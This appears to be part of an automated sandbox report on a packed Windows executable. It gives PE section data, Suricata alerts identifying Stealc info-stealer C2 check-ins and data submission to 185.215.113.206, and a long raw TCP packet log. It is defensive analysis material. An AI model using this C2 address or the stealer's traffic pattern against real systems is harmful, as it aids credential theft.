IMAGE_DIRECTORY_ENTRY_IMPORT	0x2e9050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x2e91f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x2e7000	0x67600	8ba884770af7ccf9bb739e150e51dc17	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x2e8000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x2e9000	0x1000	0x200	049071433b9f7c843453337b0fd53002	False	0.1328125	data	0.8946074494647072	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x2ea000	0x2a8000	0x200	454d0af34cf2f0e157d1e52d5fd51df8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mxtwpqia	0x592000	0x1a3000	0x1a2c00	8b75c45119f06eb357b0ed29da52fc95	False	0.9949603544776119	data	7.954667812206319	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ylpngcvl	0x735000	0x1000	0x400	a97e3de611cccbdd4fb58b692ae65597	False	0.8017578125	data	6.293987414253474	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x736000	0x3000	0x2200	03a2fc44df1c1ce5661d1497d9da47b9	False	0.06215533088235294	DOS executable (COM)	0.7583516878124463	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T18:06:14.694509+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T18:06:15.304654+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T18:06:15.304778+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-30T18:06:15.588742+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T18:06:15.596370+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.5	49704	TCP
2024-10-30T18:06:16.692522+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T18:06:17.601133+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.206	80	TCP
2024-10-30T18:06:43.518005+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:44.928551+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:45.840050+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:46.441841+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:47.221607+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49812	185.215.113.206	80	TCP
2024-10-30T18:06:47.557162+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49812	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 18:06:06.655193090 CET	49674	443	192.168.2.5	23.1.237.91
Oct 30, 2024 18:06:06.655194044 CET	49675	443	192.168.2.5	23.1.237.91
Oct 30, 2024 18:06:06.764455080 CET	49673	443	192.168.2.5	23.1.237.91
Oct 30, 2024 18:06:13.381032944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:13.387248039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:13.387346029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:13.387470961 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:13.392883062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:14.297343969 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:14.297519922 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:14.377537012 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:14.383107901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:14.694418907 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:14.694509029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:14.702208996 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:14.708765984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.304570913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.304653883 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.304677010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.304740906 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.304778099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.304826021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.305560112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.305612087 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.305898905 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.310127020 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.310179949 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.311331987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.588514090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.588545084 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.588601112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.588613987 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.588742018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.588767052 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.588819027 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.588838100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.588886976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.590945959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.596369982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.872555017 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.872623920 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.889208078 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.889275074 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:15.895133972 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.895145893 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.895153999 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.895174980 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.895184040 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.895194054 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:15.895204067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:16.264439106 CET	49674	443	192.168.2.5	23.1.237.91
Oct 30, 2024 18:06:16.264460087 CET	49675	443	192.168.2.5	23.1.237.91
Oct 30, 2024 18:06:16.373816013 CET	49673	443	192.168.2.5	23.1.237.91
Oct 30, 2024 18:06:16.692442894 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:16.692522049 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.320885897 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.326260090 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.600964069 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.600991011 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.601002932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.601133108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.601136923 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.601185083 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.601300955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.601388931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.601428986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.601475954 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.601509094 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.601527929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.601551056 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.601573944 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.601660013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.601701021 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.602240086 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.602300882 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.602344036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.602355003 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.602386951 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.602404118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.757707119 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.757780075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.757792950 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.757852077 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.757874966 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.758493900 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.758506060 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.758517981 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.758529902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.758542061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.758549929 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.758553982 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.758572102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.758590937 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.758932114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.758977890 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.759006023 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.759016991 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.759054899 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.759078026 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.759167910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.759231091 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.759741068 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.759788990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.759808064 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.759819984 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.759845018 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.759860992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.759957075 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.760001898 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.760409117 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.760457039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.760484934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.760495901 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.760531902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.760545969 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.760657072 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.760701895 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.761223078 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.761265993 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.761271000 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.761307001 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.914885044 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.914952040 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.914959908 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.914973974 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915000916 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.915019035 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.915154934 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915167093 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915179014 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915193081 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915201902 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.915246010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.915457010 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915501118 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.915570021 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915584087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915610075 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.915620089 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.915781975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915795088 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915807009 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915819883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.915822983 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.915834904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.915854931 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.916290045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.916332006 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.916362047 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.916374922 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.916399956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.916424036 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.916569948 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.916583061 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.916596889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.916610956 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.916620970 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.916642904 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.916785955 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.916822910 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.917254925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.917295933 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.917299986 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.917313099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.917336941 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.917356968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:17.917454004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:17.917498112 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.031599045 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.031630039 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.031641006 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.031718016 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.031724930 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.031729937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.031743050 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.031755924 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.031790972 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.031950951 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032006979 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.032035112 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032074928 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.032135963 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032149076 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032192945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.032288074 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032300949 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032330990 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.032351017 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.032558918 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032622099 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.032635927 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032648087 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032706976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.032844067 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032855988 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032869101 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032881975 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.032891989 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.032917976 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.033135891 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.033185959 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.033485889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.033535004 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.071630001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.071667910 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.071679115 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.071762085 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.071763992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.071775913 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.071763992 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.071789026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.071795940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.071845055 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.071872950 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.148469925 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.148503065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.148542881 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.148602009 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.148633957 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.148638010 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.148660898 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.148672104 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.148708105 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.148794889 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.148838043 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.148876905 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.148889065 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.148921013 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.149063110 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149072886 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149116039 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.149286032 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149334908 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.149355888 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149369001 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149395943 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.149408102 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.149547100 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149557114 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149588108 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.149600029 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.149816036 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149863005 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.149897099 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149909973 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.149940968 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.149955034 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.150067091 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.150079966 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.150095940 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.150120974 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.150147915 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.150311947 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.150321960 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.150360107 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.188467026 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.188481092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.188515902 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.188617945 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.188635111 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.188643932 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.188656092 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.188668013 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.188685894 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.188729048 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.189161062 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.189173937 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.189212084 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.212965965 CET	443	49703	23.1.237.91	192.168.2.5
Oct 30, 2024 18:06:18.213115931 CET	49703	443	192.168.2.5	23.1.237.91
Oct 30, 2024 18:06:18.265291929 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.265347004 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.265357971 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.265387058 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.265424967 CET	49704	80	192.168.2.5	185.215.113.206
Oct 30, 2024 18:06:18.265492916 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.265503883 CET	80	49704	185.215.113.206	192.168.2.5
Oct 30, 2024 18:06:18.265516043 CET	80	49704	185.215.113.206	192.168.2.5
